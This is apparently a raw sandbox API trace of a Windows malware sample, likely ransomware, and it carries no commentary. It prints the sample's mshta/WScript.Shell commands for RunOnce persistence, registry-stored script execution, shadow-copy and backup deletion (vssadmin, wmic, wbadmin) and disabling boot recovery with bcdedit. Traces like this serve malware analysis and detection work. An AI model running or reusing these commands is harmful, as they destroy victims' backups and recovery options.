dwCreationFlags=0x20, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\AppData\\Roaming\\", lpStartupInfo=0x19f1c8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x19f1b8 | out: lpCommandLine="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"", lpProcessInformation=0x19f1b8*(hProcess=0x36c, hThread=0x37c, dwProcessId=0xd00, dwThreadId=0xe38)) returned 1 [0250.738] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4044d8, lpParameter=0x3f31b10, dwCreationFlags=0x0, lpThreadId=0x438220 | out: lpThreadId=0x438220*=0xf74) returned 0x384 [0250.738] GlobalLock (hMem=0x3f4000c) returned 0x3adff18 [0250.738] GlobalHandle (pMem=0x3adff18) returned 0x3f4000c [0250.738] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.739] GlobalLock (hMem=0x3f4000c) returned 0x3adff18 [0250.739] GlobalLock (hMem=0x3f40004) returned 0x3ae1f28 [0250.739] GlobalHandle (pMem=0x3adff18) returned 0x3f4000c [0250.739] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.739] GlobalHandle (pMem=0x3ae1f28) returned 0x3f40004 [0250.739] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.739] GlobalLock (hMem=0x3f40004) returned 0x3adff18 [0250.739] GlobalHandle (pMem=0x3adff18) returned 0x3f40004 [0250.739] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.739] GlobalLock (hMem=0x3f40004) returned 0x3adff18 [0250.739] GlobalLock (hMem=0x3f4000c) returned 0x3ae1f28 [0250.739] GlobalHandle (pMem=0x3adff18) returned 0x3f40004 [0250.739] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.739] GlobalHandle (pMem=0x3ae1f28) returned 0x3f4000c [0250.739] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.739] GlobalLock (hMem=0x3f4000c) returned 0x3adff18 [0250.739] GlobalHandle (pMem=0x3adff18) returned 0x3f4000c [0250.739] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.739] GlobalLock (hMem=0x3f4000c) returned 0x3adff18 [0250.739] GlobalLock (hMem=0x3f40004) returned 0x3ae1f28 [0250.739] GlobalHandle (pMem=0x3adff18) returned 0x3f4000c [0250.739] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.740] GlobalHandle (pMem=0x3ae1f28) returned 0x3f40004 [0250.740] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.895] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0250.904] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0250.904] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.907] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0250.907] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0250.907] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0250.907] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.907] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0250.907] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.907] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\CADHC", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0x19f1a8, lpdwDisposition=0x19f1ac | out: phkResult=0x19f1a8*=0x378, lpdwDisposition=0x19f1ac*=0x1) returned 0x0 [0250.909] RegSetValueExA (in: hKey=0x378, lpValueName="SH[YU", Reserved=0x0, dwType=0x1, lpData="o=new ActiveXObject(\"WScript.Shell\");o.Run(\"cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\",0);o.Run(\"cmd.exe /c wmic SHADOWCOPY DELETE\",0);o.Run(\"cmd.exe /c vssadmin Delete Shadows /All /Quiet\",0);o.Run(\"cmd.exe /c bcdedit /set {default} recoveryenabled No\",0);o.Run(\"cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures\",0);", cbData=0x164 | out: lpData="o=new ActiveXObject(\"WScript.Shell\");o.Run(\"cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\",0);o.Run(\"cmd.exe /c wmic SHADOWCOPY DELETE\",0);o.Run(\"cmd.exe /c vssadmin Delete Shadows /All /Quiet\",0);o.Run(\"cmd.exe /c bcdedit /set {default} recoveryenabled No\",0);o.Run(\"cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures\",0);") returned 0x0 [0250.909] RegCloseKey (hKey=0x378) returned 0x0 [0250.909] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0250.909] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0250.910] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.910] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0250.910] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0250.910] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0250.910] GlobalUnlock (hMem=0x3f40004) returned 0 [0250.910] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0250.910] GlobalUnlock (hMem=0x3f4000c) returned 0 [0250.910] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ed5ae8, cbMultiByte=5, lpWideCharStr=0x19e1d8, cchWideChar=2047 | out: lpWideCharStr="CADHCta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\~\\\\!$));close();\"䟟瞿⪈SB_ENABLE_TRACE") returned 5 [0250.910] SysReAllocStringLen (in: pbstr=0x19f1d4*=0x0, psz="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\~\\\\!$));close();\"", len=0x68 | out: pbstr=0x19f1d4*="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\~\\\\!$));close();\"") returned 1 [0250.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\~\\\\!$));close();\"", cchWideChar=104, lpMultiByteStr=0x19e1a0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\~\\\\!$));close();\"e", lpUsedDefaultChar=0x0) returned 104 [0250.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="~", cchWideChar=1, lpMultiByteStr=0x19e19c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="~ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\\\\!$));close();\"", cchWideChar=16, lpMultiByteStr=0x19e1a0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\\\\!$));close();\"cript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\~\\\\!$));close();\"e", lpUsedDefaultChar=0x0) returned 16 [0250.910] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="~", cchWideChar=1, lpMultiByteStr=0x19e19c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="~ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.911] SysReAllocStringLen (in: pbstr=0x19f220*=0x0, psz="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\!$));close();\"", len=0x6c | out: pbstr=0x19f220*="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\!$));close();\"") returned 1 [0250.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\!$));close();\"", cchWideChar=108, lpMultiByteStr=0x19e1e0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\!$));close();\"e", lpUsedDefaultChar=0x0) returned 108 [0250.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3edce18, cbMultiByte=108, lpWideCharStr=0x19e1dc, cchWideChar=2047 | out: lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\!$));close();\"SB_ENABLE_TRACE") returned 108 [0250.911] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3ed5b28, cbMultiByte=5, lpWideCharStr=0x19e1d8, cchWideChar=2047 | out: lpWideCharStr="SH[YUta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\!$));close();\"SB_ENABLE_TRACE") returned 5 [0250.911] SysReAllocStringLen (in: pbstr=0x19f1d4*=0x0, psz="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\!$));close();\"", len=0x6c | out: pbstr=0x19f1d4*="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\!$));close();\"") returned 1 [0250.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\!$));close();\"", cchWideChar=108, lpMultiByteStr=0x19e1a0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\!$));close();\"a", lpUsedDefaultChar=0x0) returned 108 [0250.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e19c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$));close();\"", cchWideChar=13, lpMultiByteStr=0x19e1a0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$));close();\"vascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\!$));close();\"a", lpUsedDefaultChar=0x0) returned 13 [0250.911] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="!", cchWideChar=1, lpMultiByteStr=0x19e19c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="!ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.912] SysReAllocStringLen (in: pbstr=0x19f214*=0x0, psz="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\SH[YU$));close();\"", len=0x70 | out: pbstr=0x19f214*="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\SH[YU$));close();\"") returned 1 [0250.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\SH[YU$));close();\"", cchWideChar=112, lpMultiByteStr=0x19e1e0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\SH[YU$));close();\"l", lpUsedDefaultChar=0x0) returned 112 [0250.912] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3edce98, cbMultiByte=112, lpWideCharStr=0x19e1dc, cchWideChar=2047 | out: lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\SH[YU$));close();\"NABLE_TRACE") returned 112 [0250.912] SysReAllocStringLen (in: pbstr=0x19f1d4*=0x0, psz="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\SH[YU$));close();\"", len=0x70 | out: pbstr=0x19f1d4*="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\SH[YU$));close();\"") returned 1 [0250.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\SH[YU$));close();\"", cchWideChar=112, lpMultiByteStr=0x19e1a0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mshta.exe \"javascript:eval(new ActiveXObject($WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\SH[YU$));close();\"(", lpUsedDefaultChar=0x0) returned 112 [0250.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$", cchWideChar=1, lpMultiByteStr=0x19e19c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\SH[YU$));close();\"", cchWideChar=66, lpMultiByteStr=0x19e1a0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WScript.Shell$).RegRead($HKCU\\\\Software\\\\CADHC\\\\SH[YU$));close();\"ead($HKCU\\\\Software\\\\CADHC\\\\SH[YU$));close();\"(", lpUsedDefaultChar=0x0) returned 66 [0250.912] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="$", cchWideChar=1, lpMultiByteStr=0x19e19c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="$ñ\x19", lpUsedDefaultChar=0x0) returned 1 [0250.913] SysReAllocStringLen (in: pbstr=0x19f208*=0x0, psz="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();\"", len=0x70 | out: pbstr=0x19f208*="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();\"") returned 1 [0250.913] WinExec (lpCmdLine="mshta.exe \"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\CADHC\\\\SH[YU'));close();\"", uCmdShow=0x0) returned 0x21 [0254.847] Sleep (dwMilliseconds=0x1f4) [0255.396] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software", ulOptions=0x0, samDesired=0x20006, phkResult=0x19f1e0 | out: phkResult=0x19f1e0*=0x378) returned 0x0 [0255.397] RegDeleteKeyA (hKey=0x378, lpSubKey="CADHC") returned 0x0 [0255.398] RegCloseKey (hKey=0x378) returned 0x0 [0255.398] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0255.398] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0255.398] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.398] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0255.398] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0255.398] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0255.398] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.399] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0255.399] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.399] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0255.399] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0255.399] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.399] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0255.399] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0255.399] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0255.399] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.399] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0255.399] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.399] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0255.399] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0255.399] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.399] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0255.399] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0255.399] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0255.399] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.399] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0255.399] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.400] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\shwlwook", ulOptions=0x0, samDesired=0x20006, phkResult=0x19f138 | out: phkResult=0x19f138*=0x0) returned 0x2 [0255.400] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0255.400] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0255.400] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.400] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0255.400] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0255.400] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0255.400] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.401] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0255.401] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.404] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0255.404] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0255.404] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.404] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0255.404] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0255.404] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0255.404] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.404] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0255.405] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.405] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0255.405] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0255.405] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.405] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0255.405] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0255.405] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0255.405] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.405] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0255.405] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.405] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0255.405] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0255.405] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.405] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0255.405] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0255.405] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0255.405] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.405] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0255.405] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.405] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\shwlwook", ulOptions=0x0, samDesired=0x20019, phkResult=0x19f0fc | out: phkResult=0x19f0fc*=0x0) returned 0x2 [0255.412] PeekMessageA (in: lpMsg=0x19f0dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x19f0dc) returned 0 [0255.412] PeekMessageA (in: lpMsg=0x19f0dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x19f0dc) returned 0 [0255.412] PeekMessageA (in: lpMsg=0x19f0dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x19f0dc) returned 0 [0255.412] PeekMessageA (in: lpMsg=0x19f0dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x19f0dc) returned 0 [0255.412] PeekMessageA (in: lpMsg=0x19f0dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x19f0dc) returned 0 [0255.412] PeekMessageA (in: lpMsg=0x19f0dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x19f0dc) returned 0 [0255.413] PeekMessageA (in: lpMsg=0x19f0dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x19f0dc) returned 0 [0255.413] PeekMessageA (in: lpMsg=0x19f0dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x19f0dc) returned 0 [0255.849] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0255.849] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0255.849] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.850] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0255.850] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0255.850] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0255.850] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.850] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0255.866] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.871] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0255.889] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0255.890] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.890] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0255.921] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0255.921] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0255.921] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.921] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0255.921] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.922] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0255.922] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0255.922] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.922] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0255.922] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0255.922] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0255.922] GlobalUnlock (hMem=0x3f40004) returned 0 [0255.922] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0255.922] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.922] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0255.922] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0255.922] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.922] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0255.922] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0255.922] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0255.922] GlobalUnlock (hMem=0x3f4000c) returned 0 [0255.922] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0255.922] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.019] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.019] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.019] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.019] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.019] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0264.019] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.019] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.019] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0264.019] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.019] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.020] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.020] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.020] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.020] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0264.020] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.020] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.020] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0264.020] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.020] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.020] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.020] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.020] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.020] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0264.020] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.020] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.020] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0264.020] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.021] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.021] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.021] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.021] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.021] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0264.021] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.021] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.021] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0264.021] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.021] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.021] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.021] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.021] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.021] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0264.021] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.021] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.021] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0264.021] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.022] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.022] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.022] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.022] GlobalLock (hMem=0x3f4000c) returned 0x3ae05e8 [0264.022] GlobalLock (hMem=0x3f40004) returned 0x3ae25f8 [0264.022] GlobalHandle (pMem=0x3ae05e8) returned 0x3f4000c [0264.022] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.022] GlobalHandle (pMem=0x3ae25f8) returned 0x3f40004 [0264.022] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.022] GlobalLock (hMem=0x3f40004) returned 0x3ae05e8 [0264.035] GlobalLock (hMem=0x3f4000c) returned 0x3ae25f8 [0264.035] GlobalHandle (pMem=0x3ae05e8) returned 0x3f40004 [0264.035] GlobalUnlock (hMem=0x3f40004) returned 0 [0264.035] GlobalHandle (pMem=0x3ae25f8) returned 0x3f4000c [0264.035] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.035] 